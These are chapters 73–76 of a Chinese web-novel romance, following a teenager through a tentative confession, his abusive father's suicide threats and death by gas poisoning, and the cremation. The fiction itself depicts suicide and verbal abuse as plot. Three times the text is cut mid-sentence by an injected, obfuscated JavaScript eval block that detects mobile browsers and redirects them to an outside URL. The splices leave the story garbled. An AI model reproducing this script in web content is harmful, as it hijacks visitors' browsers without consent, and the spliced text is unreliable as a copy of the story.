林清宇去柜子里,找了自己常穿的那套睡衣,在浴室冲了澡,略微清醒。 回到房间,安闻已然睡着。他轻身钻进被窝里,从背后抱着安闻,嘴唇轻轻贴着他的后颈,怕扰了怀里人的美梦,声音放轻,“我是守得云开见月明了吗?” 安闻在睡梦中呢喃:“林清宇,明天都忘了好不好?” 73.轻易 林清宇手臂骤然收紧,紧贴着怀里的人,难以置信地确认,“你说什么?” 回应他的只有安闻均匀的呼吸。 须臾之间,天昏地暗。 安闻做了很多梦,意识先苏醒,然后混沌了几秒,才慢慢睁开眼睛。 他躺在自己的床上,窗帘没有拉严,阳光顺着缝隙洒进来。身旁的位置还有余温...... 头脑慢慢清醒,记忆也开始复苏。昨晚他和林清宇一起喝酒......说了一堆有的没的,然后到了沙发上...... 忽然,房门开了。 安闻警觉地拽住被子,林清宇端着水杯走进来,歪着头问他,“醒了?” 他撑起身子坐起来,“嗯”了一声,然后低头,“我昨晚穿的这件睡衣?” “不是,你喝多了。我帮你换的。”林清宇说。 林清宇的发丝有些凌乱,眼珠还有一些红,能看出宿醉感。昨晚的画面突然涌入安闻的大脑,林清宇表白了,然后他们在沙发上接吻。 他低下头,缠搅着手指,竭力掩饰自己的羞耻和慌乱。 “谢谢。”安闻开口道谢,声音那么沙哑。 林清宇走近一步,把水杯放在床头,试探着问道,“安闻,昨晚说的话,还算话吗?” 安闻端起水杯,不用喝也知道,是温糖水,林清宇端来的永远是一杯温度正好的温糖水,他呷了一口,冷静地抬头问道,“说了什么?” “你说你喜欢我。”林清宇手足无措地站在那里,安闻差一点就全盘托出了。 他紧绷着腮骨,咬了下舌头,用昨晚林清宇吮吸过的唇,一字一句地吐露着绝情,“不可能,我不喜欢你。” 林清宇的双肩下沉,吐了一口浊气,他早该知道,能在昏昏沉沉间不忘提醒自己忘记,安闻酒醒是不会认账的。 他后悔,早知如此,就该录下来,把昨晚发生的一切都录下来。 他在床头拿起安闻的手机,解锁,翻到相册,将照片怼在安闻面前,“那蛋糕还记得吗?我说我喜欢你。” 安闻睨了一眼手机,那照片里的自己笑容真刺眼。夺回手机,熄灭屏幕,安闻语气冰凉,“昨晚我们喝多了,什么都不作数。” 他顿了一下,抬头看向林清宇,“昨晚宿醉,发生了什么,我都不记得了。你也不记得了......” “不,我记得。”林清宇打断他,“我记得我说喜欢你,我也记得我们接吻了,而且是你主动亲的我。” 安闻像一个负心的渣男,一耸肩,“那么抱歉,林清宇,恐怕我们连朋友都不能做了。” “安闻,你究竟有多少顾虑?”林清宇又向前近了一步,安闻如同惊弓之鸟,屈膝抱紧了自己。 他心下一沉,妥协道,“好吧,我昨晚也喝多了。什么都不记得了。” 安闻穿好衣服下床,丢在床上的手机响起,安闻迟疑地看了一眼林清宇,林清宇识趣地退出了房门。 安黎明又来打电话了,无非就是老三样,一哭二闹三上吊。 今天是中秋节,林清宇收拾好之后得回爷爷家。安闻送走林清宇后,给兰胜男打了个电话,跟兰胜男商量,中午一起吃个团圆饭,晚上去陪安黎明过节。 挂了电话,安闻也出门了。他昨晚确实喝得有点多,头昏脑涨,全身都疼。但是还惦记着安黎明的羊汤,总不能大过节的,连碗羊汤都喝不上。 到了安黎明家,安闻把羊汤开火,昨天已经熬出了乳白色的汤色。安黎明还是喋喋不休,要去医院,鼻子不通气,在家没人伺候。 安闻念着今天过节,忍受着他的阴阳怪气,直到安黎明开始骂骂咧咧,并且又提起了兰胜男的名字。 安闻正在切羊肉,他再也忍不住,把菜刀往案板上一扔,“安黎明,我欠你的吗?我妈欠你的吗?你以为地球都围着你转啊?凭什么我和我妈都得搭在你身上?” “凭我是你爹。你除非把你自己塞回兰胜男肚子里,要不你带着我的血,一辈子是我儿子,就得一辈子给我当牛做马,你,还有你妈,都别想把我甩下。”安黎明操着个大嗓门,唾液横飞。 安闻觉得跟安黎明简直无话可说,他总有那么多歪理。 他累了,学习,家庭,林清宇,安黎明,马不停蹄,他真的累了。 “安黎明,如果不是你生了我,我没必要在这里给你熬羊汤。你要再这么蛮不讲理,我也可以没你这个爹。” “你现在还有我这个爹吗?钱不给我花,药不给我买,保姆也不给我找,有你这么当儿子的吗?” 安闻摘下围裙,转身出门,“那你找别人来当你儿子吧。” *** 周叔的小餐厅没有休息,中秋节还照常营业,今天中午在周叔店里吃饭。 安闻回到家,在沙发上躺了一会儿。他拿出手机,想给林清宇发条消息,一想到昨天,连身下的沙发都躺得别扭。 电话响起,安闻条件反射般接起,才看了一眼来电显示,是兰胜男。 “小闻哥哥,饭做好了,你什么时候过来啊?”小蓉清澈的声音从话筒里传来。 安闻捏了捏眉心,哄小孩一样温声细语,“哥哥在家呢,马上就过去。” 他在家给小蓉挑了两个布娃娃,都是以前电玩城抓的。然后又从家里拿了一瓶酒,虽然周叔店里有,但是安闻总是不好意思空手过去。 周叔店里有厨师,不用自己做饭。安闻过去的时候,看见兰胜男在柜台算账,周叔在旁边帮她按计算器。 “妈,周叔。中秋节快乐。”安闻上前打招呼,兰胜男揉了揉他的脑袋,喊小蓉,“小蓉,带哥哥去洗手,准备吃饭咯。” 席间,安闻看着兰胜男和周叔,胳膊碰着胳膊互相夹菜,说一说话,还要对着笑一下,看样子婚后生活非常顺利。 “妈,下午你还去送货吗?”安闻问。 “要送的呀,还有几家要货的,送完就回来。”兰胜男答。 周叔在旁边搭腔,“下午吃完饭,你晚一点出去,我这边收拾好了,可以陪你去送货。” 兰胜男用胳膊拐了一下他,“这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13101698|135917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大的人,说什么陪不陪的。” 安闻低头笑了,“我又不笑话你们,陪就陪着呗。” 吃完饭,兰胜男和周叔去送货,安闻回家。 手机一拿出来,全都是安黎明的电话。他回拨过去,语气生硬,“又怎么了?” “难受,死过来给我买药。” “你病都快好了难受什么?” “你管我难受什么,你就过来给我买药,我感冒没好,我要吃药。我难受,我踏马大鼻涕甩的到处都是,你快来给我收拾。” 安闻最近被安黎明折腾地够呛,怒火冲天压不住,语气非常冲,“谁家感冒不流鼻涕啊?怎么就你这么作呢?医生都说了你什么事没有,你要非给自己安个病,你就找个严重点的,我肯定在医院里花钱给你治。” 安黎明在电话里大着个嗓门,把话骂得非常难听,“草你/妈了个巴德,小王八装犊子,你踏马赶紧给老子过来,要不我就去法院告你,告你遗弃,婊/0子养的贱玩意儿。大过节给老子找不痛快......” 安闻把电话挂了。安黎明再打过来,一一挂断。 不一会儿,兰胜男的电话打进来,“宝宝,怎么回事?你爸病又严重了?” 安闻躺在沙发上,晃了晃脑袋,他早该想到的,安黎明联系不到自己,就回去找兰胜男,他轻声解释,“妈,没事,她就是感冒了,我领他去过医院,也输了液,医生说没什么大问题,过几天就好了。” 兰胜按听完放心下,“我怕你又跟你爸起冲突,下午不还要去陪他过节吗?你让着他点。” 安闻答应下兰胜男,转头又给安黎明拨了回去,“我一会儿去找你,不要再给我妈打电话。” 安黎明冷笑一声,“还是找那贱人好使,你不想我找她,就乖乖地过来送我去医院。” 安闻攥着拳头,警告他,“你想我养你,想我照顾你,嘴巴就放干净些。” “我告诉你,小杂种,你甭威胁我,我踏马干不干净,你都得给我养老送终。” “安黎明,你真以为老安家有人能得了善终吗?” 安黎明那边好像有什么倒地的声音,他骂得太急,一边咳嗽一边大骂,“我草你个妈的,小杂种,你咒老子死。老子真死了,也踏马跟着你们两个,你们这辈子,下辈子,下下辈子都得养着我。你赶紧跟那贱人拿上钱,今天就给我找保姆,要不我就死给你们看。” 死这个字,安闻一点儿都不陌生,而且安黎明已经死过很多回了。死给你们看?在安黎明看来,死亡好像是一场表演。只是死一次,可以将自己的愿望得到满足一次。 可能安黎明觉得自己是猫吧,九条命死不了,无限复活。 安闻习以为常,却不想像兰胜男一样受他胁迫,反正安黎明只是威胁,那个懦夫,每次都是不了了之,他没有真的去死的勇气。 安闻放下狠话,“保姆今天找不到,钱也不会拿给你,你想死随意。” 安黎明气急,在电话里吭哧吭哧蹦了一句话出来,“那你别后悔,我死给你们看。” 74.等待 安闻对安黎明寻死觅活早已习以为常。 印象最深的有三次,分别是跳/桥、喝药、割/腕。 跳/桥那次,他跨坐在栏杆上大吼,要求兰胜男回家,口口声声说爱她,求她不要带着孩子嫁给别人。 路边停了救护车、消防车、警车,每一个路过大桥的人都会驻足观看这场由安黎明杜撰出来的闹剧。 正如安黎明所说,“死给你们看。”这是一场表演,就像小孩子哭闹着要糖,达到目的就算了结。 喝药那次,安闻和兰胜男正在逛街,接到了医院的电话,跟着兰胜男急急忙忙赶到医院,看安黎明安然无恙地躺在病床上。 医生说,患者自述喝了一口农药,后悔了。自己跑到医院来洗胃,并且要求医院通知家属,希望家属可以好好跟患者沟通。 安黎明仗着在医院,人多口杂,兰胜男要脸,不想在医院闹出太大动静,要求兰胜男把自己麻将桌上输的五万块债务还上。 闹得最凶、最厉害的那次,就是前年离婚时候。安黎明要求兰胜男给他买一套新房,装修好,写安黎明的名字,房子安黎明都看好了,就等着兰胜男去交钱。 那时候安闻马上中考,兰胜男不想耽误孩子学习,也不想再跟安黎明扯皮,所以准备妥协。但安闻是个倔性子,咽不下这口气。 因为安闻的坚持,兰胜男一直没有给那套房子付钱。 于是,为了达到自己的目的,安黎明故技重施,持刀上门。安闻以为他准备伤害兰胜男,报了警。 没想到那个孬种,是准备在自己家门口表演割/腕。 警车、救护车都来了,邻居们围得里三层外三层,这些年大家都知道安黎明什么德行,邻居们倒是没说闲话,但也没有散去。 毕竟日子无聊,看看热闹也能解闷。 安黎明举着刀虚担在自己手腕上,为了表达自己的决心,还真的划了一刀,见了血大家就都不敢刺激他。 最后的结果,当时是兰胜男的妥协。 安闻听着、看着都麻木了。安黎明这种自私自利的人,自杀只是噱头,喊着伤害自己的口号,才有理所当然地去伤害别人。 他看了下表,15:30。在家过节的人们应该已经开始做饭了。 安闻穿上衣服,打车去了安黎明家。既然要表演,没有观众怎么能行。如果不表演,那就安静地吃一顿中秋饭。 站在门口敲了半天门,里面传来安黎明的怒吼,“滚,家里没人。” 中气十足,不像有事的样子,安闻彻底放心了。 安闻打车回了家,林清宇发来了小金毛的视频,他们一家三口带着狗,在爷爷家过中秋。 他把视频点击了保存,然后关了对话框,没有回复。 安闻想着既然已经跟兰胜男说,晚上要陪安黎明过中秋,那就别跟兰胜男说爷俩又吵起来的事情了。 晚一点儿,等安黎明脾气没那么大了,他再过去看一眼。一个人还生着病,自己过中秋,想起来有点可怜。 他拿出林清宇整理的笔记,坐在书桌边研究了起来。 林清宇的笔记很有针对性,都是安闻掌握薄弱的地方,可见,平时辅导安闻时,他留了心。 安闻渐渐入定,看完一整个章节,才发现已经五点多了。他给安黎明打了电话,响了三声被挂断了。 安黎明应该是还在生气,但是安闻有些不放心,他穿上衣服,准备再去一趟。 到了安黎明家,安闻从窗口看见屋里开着灯,他敲门,没有人应。又敲了两分钟,屋子里传来玻璃器具打破的声音。 人在家,就是赌气不开门,逼急了还跟从前一样,摔打东西。 安闻又打车回了家,这一天,他往安黎明那里折腾了三趟,感觉一天都没歇过。 叫了个汉堡外卖,他洗了个澡,躺在床上看林清宇的笔记。 有时也不知道是不是心灵感应,林清宇总是会在自己想他的时候联系。安闻看着林清宇发来的视频邀请愣神。 昨晚刚发生了那样的事,今天又奔波了一天,安闻还没有时间整理自己的心情。 他不敢挂断,只好假装自己没有看到。 视频通话因为没有接听,自动挂断。 林清宇发来一条文字:[我已经退了一步,你连做朋友的机会都不愿意给我吗?] 安闻突然涌起一阵莫名恐慌,他感到无法呼吸。林清宇一推再退,而自己却变本加厉。 那些回忆如潮水般涌上心头,安闻无法抗拒。林清宇一直在妥协、退让、迁就,他那么骄傲的一个人,在自己面前逆来顺受,委曲求全。 安闻按下了视频邀请,那面几乎是瞬间接起。 接通太快,安闻看到林清宇蹙起的眉头一下舒展,眼里透着亮光,还有盈盈笑意。 “中秋节快乐!安闻。” 安闻把头埋在枕头里,轻声回应,“林清宇,中秋快乐。” 接下来的时间,都是林清宇的独角戏,他跟安闻说今天小金毛的糗事,说自己在爷爷家吃了什么东西,和亲戚们聊了什么话题。 林清宇一直在说话,漆黑的眸子温柔地不像话,安闻看着他滔滔不绝,好像不敢停,好像怕自己一下来就被安闻挂断。 可这强装兴高采烈的样子,实在让安闻心疼。他开口轻唤,“林清宇。” 视频里的林清宇明显听到了,安闻看到他抿了一下嘴巴,然后又继续说话。 辛酸漫上眼睛,安闻又一次叫住他,“林清宇。” “林清宇,我有话跟你说。” 林清宇停止了说话,神情也变得严肃,安闻看到他肩膀的线条僵直,深深吐出一口气,眼角都泛上了红意。 “林清宇,我们把话说明白。” “我不想听。” 林清宇的肩膀乏力的下沉,喉结滚动,然后认命地等待安闻的宣判。 “林清宇,我们先准备高考好不好?” “安闻,你太敷衍了。我以为在你心里,起码我和罗晴是不一样的。”林清宇无力地苦笑。 安闻一愣,发觉林清宇误解了自己的意思。他撑起身体,露出两只眼睛,把手机靠近,“高考之后,我会把全部事情都告诉你。如果到时候,你不介意,我们就在一起。” 安闻说完又瘫回床上,用枕头捂住了自己的脸,还不忘留出半只眼睛,去看林清宇的反应。 谁知林清宇啥了一般,动也不动,安闻抬头,摇了摇手机,“卡住了?” 然后就看到林清宇大滴的眼泪滚落。 这些眼泪好像滚进了安闻的心里,他的心被烫得直抽抽。 安闻忽冷忽热,无理取闹,每一次都是林清宇退让承受,然后把酸的苦的涩的自己咽了,只把甜的那份留出来给自己。 但是,林清宇的每一次流泪,都是因为自己。 他慌忙坐起来,笨拙地去擦手机屏幕,“你别哭啊,我又没有欺负你。” 林清宇看他手脚慌乱,傻乎乎去戳手机摄像头的样子,破涕而笑,“安闻,我终于等到了,是吗?” 安闻犹如一下被抛下了悬崖,失重感让他丧失了所有意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13101699|135917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 识,甚至都忘了呼吸。 幸好这是在视频,不然还不知是怎样的失态失仪。半晌,他才收拾了情绪,嗔道,“我说先好好高考。” 林清宇却在那边喃喃,“我想抱抱你。” 安闻羞臊地快要没脸见人,听到林清宇没羞没臊的一句话,直接炸毛了。“林清宇,你听不懂人话吗?我说的话有前提。” “我听懂了啊,不管你有什么前提,我的前提都是我喜欢你。” 安闻的脸刷得染上了红,明明在视频,但他却感到了林清宇撩人的气息,酥酥的,痒痒的。 “林清宇,你要点脸。” 林清宇的心情大起大落,哪里还想着要什么脸,要脸能追到男朋友吗?但是看着安闻羞臊的快把自己闷死了,他生怕安闻一个害臊把视频挂了。 来日方长,不急于这一时。 他转移了话题,既然想要高考之后再说,那么聊学□□没问题,“给你的笔记看了吗?” 安闻巴不得赶紧进入下一话题,把手边的笔记拿起来,跟他讨论起了数学题。 外卖到了,安闻就把手机架在餐桌上,跟林清宇聊天。 吃了半个汉堡,手机里有电话进来,是个陌生号码。 安闻直觉是广告推销,而且确实不舍得挂断视频,就拒接了这个电话。 但是很快,同一个号码又打进来了,安闻断定不是骚扰电话。他擦擦手,跟林清宇打声招呼,“有个电话进来了,一会儿再聊。” 挂断视频,迅速接起电话。 “喂,您好,请问是安黎明的儿子安闻吗?” 电话里是一个陌生的男性,说话声音略轻,还带着一些迟疑。安闻第一反应就是安黎明又作妖了。 他内心抗拒,应了一声,“我是。” “您好,我是南岸新城派出所的值班民警,我们接到报警,安黎明在家自杀,需要送往医院抢救,请您来安黎明家。” 安闻见怪不怪,这样的电话,他接过好多次。 “警察同志,抱歉,给你们添麻烦了。是这样的,我爸时不时就会闹一次自杀,他也不会真死。请你们转告他,这次我不会去,也不会满足他的任何要求。” 说完,安闻挂断了电话。 他给林清宇发回视频,林清宇直接接通,问他怎么了。他想着自己既然决定高考后跟林清宇坦白,那么现在就要循序渐进。 于是他实话实说,“警/察打电话来,说安黎明在闹自杀。” 其实他是烦躁的,这样的闹剧无休无止,不知什么时候才是个头。 林清宇多少也清楚安闻家的情况,他没有表现出太大的吃惊,只是在温声安慰着他。 陌生号码再次打进来,安闻浮躁地揉了一把头发,“又来电话了,我先挂了。” 安闻接通,电话里换了一个人,没有介绍自己身份,语气凝重,直接发问,“安黎明还有其他亲属吗?” “没有了。” “他妻子呢?” “离婚了。” “父母兄弟呢?” “没联系过。” 安闻更加心烦了,安黎明究竟要闹到什么时候。 电话那边空白几秒。 “联系不上其他家属,那你必须来一趟。必要的话,带上安黎明的前妻。” 安闻终于忍不住咆哮,“我不会去,我妈也不会去。他要闹就闹,要死就死,大不了一起同归于尽,大家都不要活了!” 电话那面沉默片刻。 民警:“安黎明已经没有生命体征了。” 75.然后 坐在出租车上,安闻的手在发抖,头脑一片空白。 他不知道接下来干做什么,也不知道终点有什么在等着自己。 林清宇又发来了几次视频,他挂断了。 电话又响起,还是那个号码。 他手抖地点了几次,才接起电话。 “安闻,你在来的路上了吗?” “我在。” “考虑到你未成年,最好可以通知一下安黎明的成年亲属,如果实在没有,我建议你带上你母亲。请节哀。” 民/警的建议提醒了安闻。他成年了,他昨天才成年。 可是第一次直面死亡,他确实承受不了。 手机放在腿上,他的右手一直在无意识的掐左手的虎口,终于在左手虎口出血的时候,拨通了兰胜男的电话。 出租车司机听到了安闻打电话的内容,大概是心疼他小小年纪就失去了父亲,怕他难过,一直在旁边轻声劝慰。 安闻攥着手机,一路沉寂。 赶到南岸新城时,远远的,他看见警灯闪烁,彳亍着往前走,先是警车,停在楼侧。 绕过楼角,是消防车,消防车的云梯正在下降,安闻看见安黎明家的玻璃被打破,玻璃渣碎了一地。 再往前走,是救护车,敞开着门停在单元门口。 安闻路过的时候,往里面看了一眼,是空的。如同现在他的眼睛和脑袋,都是空的。 显然那个需要救护的人,现在用不上车了。 警/察在外面拉了警戒线,因为是中秋节的原因,小区里人非常多,警戒线外围满了人。 与两年前的那次,不一样的是,这些人里,没有安闻熟悉的面孔。 是的,这里是安黎明的家,不是安闻的家。那里面的人是安闻的父亲,一个从来没给过安闻家的父亲。 他机械地往楼里走,单元楼底的警察迎上来,“是安黎明的家属吗?” 安闻定一定,再次回答,“我是。” 那人用同情的目光看了安闻一眼,说了声“节哀。” 临到楼下,安闻反而镇静下来了。该是感谢安黎明冷血无情的基因吧。他向民/警点点头,表示自己没事。 “你母亲会过来吗?”警/察问。 “嗯,一会儿过来。” 那人又问,“那咱们在楼下等等?” 安闻摇摇头,往上走,“不用了,警察同志,我昨天刚过了18岁生日。” 那人跟在他身后介绍,“我是刚才给你打电话的人,我叫刘义。我们在18:32分接到群众报案,他在2区52号楼2单元一楼,闻到了疑似煤气泄露的气味,敲了这一层人的门,最后认为可能是102室传出来的。群众敲门没有人开,于是报警,怀疑业主破坏煤气报警装置自杀。” 安黎明住在一层,但是下面还有一层作为商铺使用的零层,所以安闻还是要走一层楼梯。 他拐过楼梯,看着安黎明的房门大敞着,门口拉了警戒线,里面站了几个不认识的人。 安闻的手扶了一下楼梯扶手,民警在后面怕他跌倒,从后面用手掌抵住了他的腰。 安闻走上最后一级台阶,在平台上站定,回头道谢,“谢谢,我没事。” 民警也踏上台阶,与他平齐,询问,“你现在进去吗?” 安闻看着屋里人影晃动,大概有四五个人,反问,“现在可以进去吗?” 那人看了一眼里面,目带怜悯,“可以进去,救护人员和法医初步判断是一氧化碳中毒死亡。家属没有疑义的话,在死亡证明签字。” “死亡时间呢?”安闻问。 “消防破门进入之后,医护人员就进去了。但那时候已经没有生命体征了。法医初步判断死亡时间在两小时前。”刘义推了下眼镜,补充道,“也就是16:50左右,前后误差应该不会超过半小时。” 安闻把手揣进了外套口袋里,手机一直在响,但他没有力气,连呼吸都在发抖,明明晚上吃了一个汉堡,怎么还会有心慌心悸的感觉? 他从兜里拿出两块糖,抖抖索索地拆开,一起塞进嘴里。这是林清宇给他培养的习惯,衣服兜里总是会揣两块糖。 糖纸叠好揣回兜里,然后长腿一抬,迈进门里。 门里的人都抬头看他,他却顾不上一一招呼,一眼看见了躺在地上的安黎明。 这套房子,进门左手边就是卫生间,卫生间那边是厨房。右手边是客厅,然后是卧室。 安黎明就躺在客厅去往门口的过道上,离门不足两米的距离。 屋里的另一名警察抬头,跟家属说明情况,“救护人员进来的时候动过他,他原本是趴着的。” 安闻往前走,看到安黎明铁青的脸。眼睛虽然闭着,但安闻却感觉是在瞪着自己。 他侧过头去问警察,“警察同志,现在我该做什么?” 刘义上前两步跟屋里的警察解释,“这是安黎明儿子,刚成年,没经历过这些事。” 安闻余光感觉到看向他的目光顿时变得怜悯,他低头盯着安黎明的脸问,“我来配合你们,接下来我需要做什么?” 那人声音都变得很轻,不知道怕打扰死者,还是吓到这个少不经事的死者家属,“你对死亡原因没有疑虑的话,就先签了字。我们才好动他。” 接下来,安闻签了几个文件。看不懂都是什么文件,但签就是了。 “字签完了没?”一个穿着白大褂戴着口罩的人凑过来问。 刘义替他回答,“签完了。” 白大褂从地上的银色箱子里拿出几副医用手套,给周围的人分了,还塞给安闻一副,安闻疑惑地抬头看他。 “把你爸抬床上去,也不能让人一直在地上躺着。” 安闻照做,加上他六个人都抬不动安黎明,安黎明明明没有很重的。 “接下来呢?”安闻又问。 刘义叹了一口气,走上前来,刚才在楼道里安闻看不清,现在屋里灯火通明,刘义浓眉大眼的,看上去一身正气。 “消防车和救护车就撤了,你这边没有问题,我们就也撤了。” 安闻茫然地看着他,又问了一遍,“接下来呢?” 刘义看着他,有些不忍,“接下来就是办后事。” 安闻缓慢转头看向安黎明,“怎么办后事呢?” 刘义回头跟其他人打声招呼,“你们先撤吧,我陪这孩子等他母亲来,一会儿自己回所里。” 客厅玻璃破了,因为要通风换气,所有的窗户和门都开着。 人都走了,只剩刘义和安闻在屋里。 冷风吹进来,安闻被激得发抖。随着冷风吹进来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13130195|135917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,还有邻居的饭香。 安闻回神,不好意思地道歉,“抱歉,刘警官,中秋佳节,害你在这里陪我吹冷风。” 两人都没有坐,没有主人的招呼,安闻没有随便就座的习惯,刘义也这么陪他站着。 “没事,我值班,在哪里过都是一样的。” 兰胜男来了,身边跟着周叔。还有林勇平和白月洁,安闻下意识地往后看,还有五个眼熟的男人,都是林勇平矿上的人,安黎明以前的同事。 再往后看,楼道里黑漆漆的。 安闻打了招呼,喊了叔叔阿姨,说,“又给你们添麻烦了。”然后刘义给安闻留了自己的电话,又跟兰胜男说了一遍情况,就走了。 林勇平和兰胜男说着安黎明的后事,按照习俗应该是在搭灵棚,设灵堂,亲朋好友吊唁三天的。 “但是......”林勇平欲言又止。 安闻已经明白了林勇平的意思,安黎明既没有亲朋,也没有好友。 只有儿子和前妻。 于是安闻做主,给殡仪馆打了电话,请他们来运送一趟,先在冰棺里停一个晚上,明天直接火化。 跟安闻的大伯一样。 死亡的第二天,直接火化。 安闻给安黎明换了一身干净衣服,然后把安黎明的衣服全都打包装了起来。 殡仪馆的车来了,只有一个司机。他们是不负责抬的,大人们好像都知道这些规矩。 周叔给帮忙的每个人发了一个大红包,说是压一下晦气。 然后大家帮忙把安黎明抬到了车上。 到了殡仪馆,签字,交钱,请殡葬礼仪。安闻什么都不懂,别人说什么他做什么。 回了家已经凌晨一点多。下车的时候,门口又蹲了个蘑菇。 兰胜男和周云辉也很诧异,她招呼着林清宇进屋,被安闻拦住了。 “妈,我们就在门口说两句话。” 兰胜男看看两人,叮嘱一句,“说完早点回家休息,明天还要早起。” 安闻点头,周云辉搀着兰胜男进了屋。 “你怎么来了?”安闻问。 “我想跟着我爸妈去的,他们把我锁在屋里,不让我跟着。”林清宇往前一步,想要看清安闻的脸,“你没事吧?” 安闻抬头,林清宇的眼里布满血丝,他攥了攥手指,“我没事。那你怎么出来的?” “我敲碎了我家玻璃,跑出来的。” 安闻想起来安黎明家的窗,玻璃也是碎了满地。 他笑了一下,“那你今晚睡觉会很冷。” 林清宇伸出手,捏了下他的嘴角,“不会,我打破的是客厅的窗子。” 安闻没有说话,抬起头,目光在林清宇的脸上逡巡。 林清宇看着他专注的神情,张开手臂,“要抱一下吗?” 安闻回神,垂下睫毛,盯着林清宇的脚尖,“不了,你早些回去,偷跑出来,叔叔阿姨该担心了。” 地上的影子还在张着双臂,林清宇说,“真的不抱一下吗?抱完我就回去。” 安闻吸了一下鼻子,抬头,还是那样专注的神情,看着林清宇的脸,“不了,我明天还要早起。” 转身,进院,关门,一气呵成。 林清宇,你的怀抱太暖,我怕一抱就再也舍不得离开。 76.不见 周一,清晨。 安闻给范玉红发消息,请假。 给二伯、三伯发消息,报丧。 给自己扎了孝布,送葬。 兰胜男陪着他,去了殡仪馆。 去登记窗口签字,去存放处抬棺,站在门口摔盆,跪在地上磕头,去大厅选骨灰盒,交钱,排队,等待遗体火化。 安闻什么都不懂,殡葬司仪叫他做什么,他就按部就班地做。 安黎明被推进焚化炉里,安闻抱着空骨灰盒站在出口等候,这时,二伯、三伯姗姗来迟。 “宝宝,你爸呢?”二伯向窗口里面看了一眼,明知故问。 安闻睨了他一眼,不动声色地坐在等候区,把骨灰盒放在旁边椅子上,“炉子里。” “你这孩子,怎么不等我们来呢?最后一眼都看不到了。” 安闻也看了看窗口里面,没有说话。 “宝宝,这骨灰盒多少钱?” 三伯坐在远一点的地方,二伯直接坐在了安闻旁边,兰胜男看到安家来人,早就躲了出去。 安闻用手摸了一下骨灰盒上的花纹,抬头告诉二伯,“两万。” 这个骨灰盒安闻看不出什么精巧的地方,工作人员介绍说整玉雕刻,一体成型。上面雕刻的什么安闻没兴趣了解,也没心思细看,买殡仪馆里最贵的就对了。 “两万啊。”安闻二伯脸上露出了满意的神情,“是最贵的吧?” 安闻不理他,他也不觉得尴尬,自顾自在旁边上演独角戏,“宝宝是个孝顺孩子。” “宝宝,你爸现在住的房子准备怎么处理啊?” 安闻看了一眼窗口,里面的人起身了。他转回头看了一眼二伯,心想,饶了一圈,终于说到重点了。 “二伯准备让我怎么处理呢?”安闻站起来,来到窗口旁边。 二伯跟过来,晓之以理动之以情,“你看你三伯,这么大岁数了,没个住的地方。你爸那房子,空着也是空着,给你三伯住呗。” 三伯一听说到跟自己相关,赶紧跟过来,“对啊,宝宝,那房子死过人,卖也不好卖,空着怪可惜的。” 安闻抿着嘴唇,眼睛死盯着窗口,冷笑一声,“看来我爸死的挺是时候,正好能给三伯腾地方。” 旁边的两个安家人脸上有些挂不住,堆笑道,“你这孩子,怎么说话呢。” 这时窗口里面有人喊,“安黎明家属,安黎明家属,来接一下骨灰。” 安闻站着没动,目光在两人中间逡巡,“二伯,三伯,我爸的房子,我说了不算。你们自己去问他。” 两个安家人站在那里,看着窗口伸出来的纸箱子,手足无措,脸都憋红了,说了一句,“黎明要是知道自己哥哥没地方住,也一定会同意的。” 窗口里那只手等不急了,又大声喊了一声,“安黎明家属在不在?快来接一下骨灰,撒了我们不负责啊!” 安闻伸手接住了窗口递出来的骨灰,说是骨灰,其实还掺着些烧不化的骨头。 殡葬礼仪说让家属把骨灰装盒,安闻把骨灰盒拿过来,打开,然后看着那一盒子骨灰,抬头对二伯笑了一下,“二伯,你来?” 安义海双手揣兜,往后退了一步,“宝宝,这可不能开玩笑。儿子在这里,哪有兄弟给收尸的道理。” “孝子,装骨灰的时候,不要哭,眼泪滴在骨灰上,死者会魂魄不安。”殡葬司仪搞不懂这家人的情况,但是还是依照规矩,提醒家属注意事项。 安闻垂下睫毛,用手先把大块的骨头放进骨灰盒,然后缓缓开口,“二伯,三伯,你们也没把我当宝,以后就不用叫我宝宝了。”他又捡起一块碎骨头,看了一眼上面的白斑,然后放进骨灰盒里,“我爸死了,我跟老安家唯一的联系断了。以后咱们也不用再联系。” 三伯的大嗓门登时嚷嚷起来,周围太安静,他被自己的嗓门吓了一跳,又压低声音怒骂,“你这小王八蛋,你手里还拿着你爸的骨灰,嘴上就要跟我们断绝关系!” 安闻也不气,将盒子里的骨灰直接倒进了骨灰盒里,然后用手挖了一把灰,怼到三伯脸前,“三伯,你也拿一点儿?” 看着安闻马上就要把骨灰撒到他们脸上的架势,安义海拉着老三骂骂咧咧地走了。 